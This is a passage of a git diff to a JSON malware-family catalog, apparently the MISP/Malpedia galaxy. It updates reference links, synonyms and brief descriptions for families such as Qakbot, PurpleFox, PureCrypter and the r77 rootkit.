"https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/", - "https://twitter.com/mesa_matt/status/1035211747957923840", - "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", - "https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module", "https://twitter.com/seckle_ch/status/1169558035649433600", - "https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure" + "https://blog.fox-it.com/2019/03/27/psixbot-the-evolution-of-a-modular-net-bot/", + "https://www.proofpoint.com/us/threat-insight/post/psixbot-continues-evolve-updated-dns-infrastructure", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://twitter.com/mesa_matt/status/1035211747957923840", + "https://blog.comodo.com/comodo-news/versions-of-psixbot/", + "https://www.proofpoint.com/us/threat-insight/post/psixbot-now-using-google-dns-over-https-and-possible-new-sexploitation-module" + ], + "synonyms": [ + "PsiXBot" ], - "synonyms": [], "type": [] }, "uuid": "416ae41e-17b2-46f6-847b-2831a0b3f8e9", @@ -36997,7 +38932,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pslogger", "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a", - "https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/" + "https://norfolkinfosec.com/a-lazarus-keylogger-pslogger/", + "https://twitter.com/KevinPerlow/status/1160766519615381504" ], "synonyms": [ "ECCENTRICBANDWAGON" @@ -37027,28 +38963,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pteranodon", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", - "https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/", - "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", - "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/", - "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-intense-campaign-ukraine", + "https://blog.yoroi.company/research/cyberwarfare-a-deep-dive-into-the-latest-gamaredon-espionage-campaign/", "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations", - "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", + "https://www.bleepingcomputer.com/news/security/russian-gamaredon-hackers-use-8-new-malware-payloads-in-attacks/", + "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", + "https://cert.gov.ua/news/42", "https://blogs.cisco.com/security/network-footprints-of-gamaredon-group", - "https://blog.threatstop.com/russian-apt-gamaredon-group", "https://www.microsoft.com/security/blog/2022/02/04/actinium-targets-ukrainian-organizations/", "https://labs.sentinelone.com/pro-russian-cyberspy-gamaredon-intensifies-ukrainian-security-targeting/", - "https://cert.gov.ua/news/46", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", - "https://ssu.gov.ua/uploads/files/DKIB/Technical%20report%20Armagedon.pdf", - "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", - "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021/", - "https://attack.mitre.org/groups/G0047", - "https://cert.gov.ua/news/42", - "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", + "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt", + "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/" + "https://blogs.blackberry.com/en/2022/11/gamaredon-leverages-microsoft-office-docs-to-target-ukraine-government", + "https://threatrecon.nshc.net/2019/06/11/sectorc08-multi-layered-sfx-recent-campaigns-target-ukraine/", + "https://www.elastic.co/blog/playing-defense-against-gamaredon-group", + "https://attack.mitre.org/groups/G0047", + "https://www.vkremez.com/2019/01/lets-learn-deeper-dive-into-gamaredon.html", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", + "https://blog.threatstop.com/russian-apt-gamaredon-group", + "https://unit42.paloaltonetworks.com/gamaredon-primitive-bear-ukraine-update-2021", + "https://cert.gov.ua/news/46", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://threatmon.io/cybergun-technical-analysis-of-the-armageddons-infostealer/", + "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" ], "synonyms": [ "Pterodo" @@ -37081,6 +39020,7 @@ "https://www.pandasecurity.com/mediacenter/malware/punkeypos/" ], "synonyms": [ + "poscardstealer", "pospunk", "punkeypos" ], @@ -37094,21 +39034,22 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", - "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", - "https://www.infinitumit.com.tr/apt-35/", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", - "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt", "https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/", - "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", - "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", - "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", - "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", - "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://www.infinitumit.com.tr/apt-35/", + "https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", "https://github.com/n1nj4sec/pupy", - "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage" + "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://securityaffairs.co/wordpress/56348/intelligence/magic-hound-campaign.html", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage", + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations", + "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0330.pdf", + "https://labs.k7computing.com/index.php/pupy-rat-hiding-under-werfaults-cover/", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt" ], "synonyms": [ "Patpoopy" @@ -37118,14 +39059,28 @@ "uuid": "8a789016-5f8d-4cd9-ba96-ba253db42fd8", "value": "pupy (Windows)" }, + { + "description": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google’s Protocol Buffer message format ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter", + "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", + "https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf" + ], + "synonyms": [], + "type": [] + }, + "uuid": "554993dc-2a30-43d9-ac96-fc9b9cca29f6", + "value": "PureCrypter" + }, { "description": "ransomware", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purelocker", - "https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e", "https://www.intezer.com/blog-purelocker-ransomware-being-used-in-targeted-attacks-against-servers/", - "https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md" + "https://github.com/albertzsigovits/malware-notes/blob/master/PureLocker.md", + "https://exchange.xforce.ibmcloud.com/collection/99c7156cff70e1d8e1687ab7dadc8c0e" ], "synonyms": [], "type": [] @@ -37138,24 +39093,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplefox", - "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware", - "https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html", - "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf", - "https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html", - "https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit", - "https://s.tencent.com/research/report/1322.html", - "https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", - "https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/", - "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", - "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit", - "https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/", - "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", "https://blog.malwarebytes.com/trojans/2021/03/perkiler-malware-turns-to-smb-brute-force-to-spread/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/Technical%20Brief%20-%20A%20Look%20Into%20Purple%20Fox%E2%80%99s%20New%20Arrival%20Vector.pdf", + "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html", + "https://twitter.com/C0rk1_H/status/1412801973628272641?s=20", + "https://blog.trendmicro.com/trendlabs-security-intelligence/purple-fox-fileless-malware-with-rookit-component-delivered-by-rig-exploit-kit-now-abuses-powershell/", + "https://nao-sec.org/2021/04/exploit-kit-still-sharpens-a-sword.html", + "https://blog.minerva-labs.com/malicious-telegram-installer-drops-purple-fox-rootkit", + "https://www.trendmicro.com/en_us/research/21/l/a-look-into-purple-fox-server-infrastructure.html", + "https://www.trendmicro.com/en_in/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/security-101-the-impact-of-cryptocurrency-mining-malware", + "https://www.trendmicro.com/en_us/research/21/g/purplefox-using-wpad-to-targent-indonesian-users.html", + "https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal/IOCs-Purple-Fox.txt", - "https://thehackernews.com/2022/03/purple-fox-hackers-spotted-using-new.html" + "https://www.guardicore.com/labs/purple-fox-rootkit-now-propagates-as-a-worm/", + "https://s.tencent.com/research/report/1322.html", + "https://www.thecybersecuritytimes.com/purple-fox-malware-is-actively-distributed-via-telegram-installers/", + "https://threatresearch.ext.hp.com/purple-fox-exploit-kit-now-exploits-cve-2021-26411/", + "https://blogs.blackberry.com/en/2022/01/threat-thursday-purple-fox-rootkit" ], "synonyms": [], "type": [] @@ -37164,7 +39119,7 @@ "value": "PurpleFox" }, { - "description": "", + "description": "ZScaler reported on a new Infostealer called PurpleWave, which is written in C++ and silently installs itself onto a user’s system. It connects to a command and control (C&C) server to send system information and installs new malware onto the infected system.\r\n\r\nThe author of this malware is advertising and selling PurpleWave stealer on Russian cybercrime forums for 5,000 RUB (US$68) with lifetime updates and 4,000 RUB (US$54) with only two updates.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.purplewave", @@ -37181,14 +39136,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo", - "https://www.secureworks.com/research/pushdo", - "http://www.secureworks.com/research/threat-profiles/gold-essex", - "http://malware-traffic-analysis.net/2017/04/03/index2.html", - "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", - "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/" + "http://www.secureworks.com/research/threat-profiles/gold-essex", + "https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf", + "https://www.secureworks.com/research/pushdo", + "https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/", + "http://malware-traffic-analysis.net/2017/04/03/index2.html", + "https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/", + "https://www.secureworks.com/research/threat-profiles/gold-essex" ], "synonyms": [], "type": [] @@ -37239,32 +39194,32 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pwndlocker", - "https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji", - "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", - "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", - "https://www.group-ib.com/blog/prolock_evolution", - "https://www.intrinsec.com/egregor-prolock/", - "https://www.group-ib.com/blog/prolock", - "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", - "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", - "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", - "https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/", - "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", - "https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/", - "https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html", + "https://www.group-ib.com/blog/prolock_evolution", + "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", "https://id-ransomware.blogspot.com/2019/10/pwndlocker-ransomware.html", "https://www.cert.ssi.gouv.fr/cti/CERTFR-2021-CTI-009/", + "https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html", + "https://www.group-ib.com/blog/prolock", + "https://www.cyborgsecurity.com/cyborg_labs/hunting-ransomware-inhibiting-system-backup-or-recovery/", + "https://soolidsnake.github.io/2020/05/11/Prolock_ransomware.html", + "https://www.intrinsec.com/egregor-prolock/", "https://www.zdnet.com/article/fbi-prolock-ransomware-gains-access-to-victim-networks-via-qakbot-infections/", - "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-009.pdf", + "https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", "https://news.sophos.com/en-us/2020/07/27/prolock-ransomware-gives-you-the-first-8-kilobytes-of-decryption-for-free/", - "https://www.bleepingcomputer.com/news/security/new-pwndlocker-ransomware-targeting-us-cities-enterprises/", + "https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/", + "https://www.it-klinika.rs/blog/paznja-novi-opasni-ransomware-pwndlocker-i-u-srbiji", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/" + "https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf", + "https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware", + "https://www.hornetsecurity.com/en/threat-research/qakbot-reducing-its-on-disk-artifacts/", + "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", + "https://www.bleepingcomputer.com/news/security/pwndlocker-ransomware-gets-pwned-decryption-now-available/", + "https://www.hornetsecurity.com/en/security-information/qakbot-malspam-leading-to-prolock/", + "https://www.cert-pa.it/notizie/pwndlocker-si-rinnova-in-prolock-ransomware/" ], "synonyms": [ "ProLock" @@ -37290,14 +39245,30 @@ "uuid": "c903627c-90f6-44ee-9750-4bb44bdbceab", "value": "pwnpos" }, + { + "description": "Py2exe built worm propagating via USB drives, having wiper features embedded in the logic (based on today's date being later than 2016-04-03 and existence of a file C:\\txt.txt)", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pyfiledel", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/worm.win32.pyfiledel.aa", + "https://biebermalware.wordpress.com/2018/02/14/reversing-py2exe-binaries/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "ea8f44b0-6940-42e0-a93f-77a6b572b140", + "value": "win.pyfiledel" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa", - "https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html", + "https://bin.re/blog/pykspas-inferior-dga-version/", "https://www.youtube.com/watch?v=HfSQlC76_s4", "https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/", + "https://blogs.akamai.com/sitr/2019/07/pykspa-v2-dga-updated-to-become-selective.html", + "https://bin.re/blog/the-dga-of-pykspa/", "https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/" ], "synonyms": [], @@ -37311,14 +39282,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky", + "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", + "https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/", + "https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/", "https://research.checkpoint.com/2020/graphology-of-an-exploit-playbit/", - "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/", "https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/", "https://blog.talosintelligence.com/2019/01/pylocky-unlocked-cisco-talos-releases.html", - "https://www.bleepingcomputer.com/news/security/pylocky-decryptor-released-by-french-authorities/", "https://www.cybermalveillance.gouv.fr/nos-articles/outil-dechiffrement-rancongiciel-ransomware-pylocky-v1-2/", - "https://www.cyborgsecurity.com/cyborg_labs/python-malware-on-the-rise/", - "https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/" + "https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/" ], "synonyms": [ "Locky Locker" @@ -37333,19 +39304,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pyxie", - "https://www.secureworks.com/research/threat-profiles/gold-dupont", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/4", "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/5/", - "https://cluster25.io/2022/05/03/a-strange-link-between-a-destructive-malware-and-the-loader-of-a-ransomware-group-isaacwiper-vs-vatet/", - "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx", - "https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", - 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"https://unit42.paloaltonetworks.com/vatet-pyxie-defray777/3", + "https://threatvector.cylance.com/en_us/home/meet-pyxie-a-nefarious-new-python-rat.html", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-ransomexx" ], "synonyms": [ "PyXie RAT" @@ -37372,13 +39343,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", - "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", - "https://www.johannesbader.ch/2016/04/the-dga-of-qadars/", "https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan", - "https://securityintelligence.com/an-analysis-of-the-qadars-trojan/", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", "https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/", - 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"https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://www.elastic.co/security-labs/qbot-malware-analysis", + "https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/", + "https://www.crowdstrike.com/blog/duck-hunting-with-falcon-complete-qakbot-countermeasures/", + "https://www.elastic.co/de/security-labs/qbot-malware-analysis", + "https://www.cybereason.com/blog/threat-analysis-report-all-paths-lead-to-cobalt-strike-icedid-emotet-and-qbot", + "https://twitter.com/Unit42_Intel/status/1461004489234829320", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-1112.pdf", + "https://www.trendmicro.com/en_us/research/21/c/egregor-ransomware-cartel-members-arrested.html", + "https://www.bleepingcomputer.com/news/security/qbot-phishing-uses-windows-calculator-sideloading-to-infect-devices/", + "https://www.youtube.com/watch?v=iB1psRMtlqg", + "https://twitter.com/kienbigmummy/status/1460537501676802051", + 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"https://www.trendmicro.com/en_us/research/21/k/Squirrelwaffle-Exploits-ProxyShell-and-ProxyLogon-to-Hijack-Email-Chains.html", + "https://www.group-ib.com/blog/egregor", + "https://blog.talosintelligence.com/2016/04/qbot-on-the-rise.html", + "https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/", + "https://blog.cyble.com/2023/02/17/the-many-faces-of-qakbot-malware-a-look-at-its-diverse-distribution-methods/", + "https://www.netresec.com/?page=Blog&month=2023-03&post=QakBot-C2-Traffic", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-010.pdf", + "https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7", + "https://raw.githubusercontent.com/fboldewin/When-ransomware-hits-an-ATM-giant---The-Diebold-Nixdorf-case-dissected/main/When%20ransomware%20hits%20an%20ATM%20giant%20-%20The%20Diebold%20Nixdorf%20case%20dissected%20-%20Group-IB%20CyberCrimeCon2020.pdf", + "https://www.securityhomework.net/articles/qakbot_ccs_prioritization_and_new_record_types/qakbot_ccs_prioritization_and_new_record_types.php", + "https://securelist.com/qakbot-technical-analysis/103931/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://malwareandstuff.com/an-old-enemy-diving-into-qbot-part-1/", + "https://www.socinvestigation.com/qbot-spreads-via-lnk-files-detection-response/", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://research.nccgroup.com/2022/03/31/conti-nuation-methods-and-techniques-observed-in-operations-post-the-leaks/", + "https://www.youtube.com/watch?v=4I0LF8Vm7SI", + "https://content.fireeye.com/m-trends/rpt-m-trends-2020", + "https://www.malwarology.com/posts/4-qakbot-api-hashing/", + "https://www.truesec.com/hub/blog/proxyshell-qbot-and-conti-ransomware-combined-in-a-series-of-cyber-attacks", + "https://www.circl.lu/pub/tr-64/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://www.microsoft.com/security/blog/2017/11/06/mitigating-and-eliminating-info-stealing-qakbot-and-emotet-in-corporate-networks/", + "https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf", + "https://info.spamhaus.com/hubfs/Botnet%20Reports/2022%20Q3%20Botnet%20Threat%20Update.pdf", + "https://securelist.com/malicious-spam-campaigns-delivering-banking-trojans/102917", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/rise-of-lnk-shortcut-files-malware/", + "https://www.group-ib.com/blog/prolock_evolution", + "https://experience.mandiant.com/trending-evil-2/p/1", + "https://hatching.io/blog/reversing-qakbot", + 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"https://www.zscaler.com/blogs/security-research/ares-banking-trojan-learns-old-tricks-adds-defunct-qakbot-dga", + "https://blog.vincss.net/2021/03/re021-qakbot-dangerous-malware-has-been-around-for-more-than-a-decade.html", + "https://www.botconf.eu/wp-content/uploads/2019/12/B2019-OReilly-Jarvis-End-to-end-Botnet-Monitoring.pdf", + "https://twitter.com/ChouchWard/status/1405168040254316547", + "https://www.techtimes.com/articles/274190/20220412/qbot-botnet-deploys-malware-payloads-through-malicious-windows-installers.htm", + "https://www.varonis.com/blog/varonis-discovers-global-cyber-campaign-qbot/", + "https://www.securityartwork.es/2021/06/16/analisis-campana-emotet/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://web.archive.org/web/20201207094648/https://go.group-ib.com/rs/689-LRE-818/images/Group-IB_Egregor_Ransomware.pdf", + "https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta", + 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"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/" ], "synonyms": [ @@ -37740,6 +39754,23 @@ "uuid": "56d5ee92-845e-4b71-814c-2b0f0ca88523", "value": "QUICKMUTE" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.quietcanary", + "https://securelist.com/tomiris-called-they-want-their-turla-malware-back/109552/", + "https://www.mandiant.com/resources/blog/turla-galaxy-opportunity" + ], + "synonyms": [ + "Kapushka", + "Tunnus" + ], + "type": [] + }, + "uuid": "2577fb8d-1511-49f7-9b62-7816137190c8", + "value": "QUIETCANARY" + }, { "description": "According to Microsoft, this is a heavily obfuscated .NET malware, primarily geared towards the exfiltration of data from the compromised host. But it can also receive and execute a remote payload from the operator.", "meta": { @@ -37781,6 +39812,22 @@ "uuid": "020950da-79e5-481b-9986-14ed1c97e04c", "value": "QvoidStealer" }, + { + "description": "According to the author, r77 is a ring 3 rootkit that hides everything: \r\n* Files, directories\r\n* Processes & CPU usage\r\n* Registry keys & values\r\n* Services\r\n* TCP & UDP connections\r\n* Junctions, named pipes, scheduled tasks", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.r77", + "https://github.com/bytecode77/r77-rootkit", + "https://twitter.com/malmoeb/status/1523179260273254407" + ], + "synonyms": [ + "r77 Rootkit" + ], + "type": [] + }, + "uuid": "f577050b-a4a3-4ebd-a9d9-77300f3435f5", + "value": "r77" + }, { "description": "", "meta": { @@ -37799,53 +39846,60 @@ "meta": { "refs": [ 